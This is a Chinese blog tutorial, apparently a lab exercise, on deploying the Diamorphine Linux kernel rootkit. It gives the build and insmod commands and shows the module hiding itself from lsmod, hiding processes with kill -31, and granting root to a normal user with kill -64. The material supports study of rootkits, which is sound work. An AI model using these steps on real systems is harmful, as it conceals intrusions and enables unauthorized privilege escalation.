【进程隐藏】Linux隐藏工具—Diamorphine
【进程隐藏】Linux隐藏工具—Diamorphine
零、Diamorphine 介绍
Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。
1 | 当加载的时候, 模块是不可见的(lsmod 看不到); |
项目地址: https://github.com/m0nad/Diamorphine
一、部署环境
下载代码
1 | git clone https://github.com/m0nad/Diamorphine |
进入目录,开始编译
1 | cd Diamorphine; |
加载内核模块
1 | insmod diamorphine.ko |
二、验证内核模块隐藏
枚举加载的内核模块并检查 Diamorphine 是否存在列表中。
上图内容如下所示:
1 | 步骤1:执行lsmod命令,diamorphine.ko模块并没有显示,因为模块被隐藏; |
三、隐藏用户任意进程
实验内容如图所示:
步骤1:通过运行 sleep 10000 秒来创建一个虚拟进程。
1 | sleep 1000 & |
步骤2:diamorphine可以通过发送kill -31 信号从ps 列表中隐藏/取消隐藏这个虚拟进程。
1 | kill -31 <pid of process you want hide> |
步骤3:使用ps命令查看sleep进程是否存在
1 | ps -ef | grep sleep |
四、普通用户提权至root
diamorphine可以向用户发送kill -64 信号,授予其root 权限。
1 | kill -64 <any_random_pid> |
student用户在发送信号后升级为 root 用户。
1 | 步骤1:切换到student,并whoami查看用户 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lusen的小窝!
评论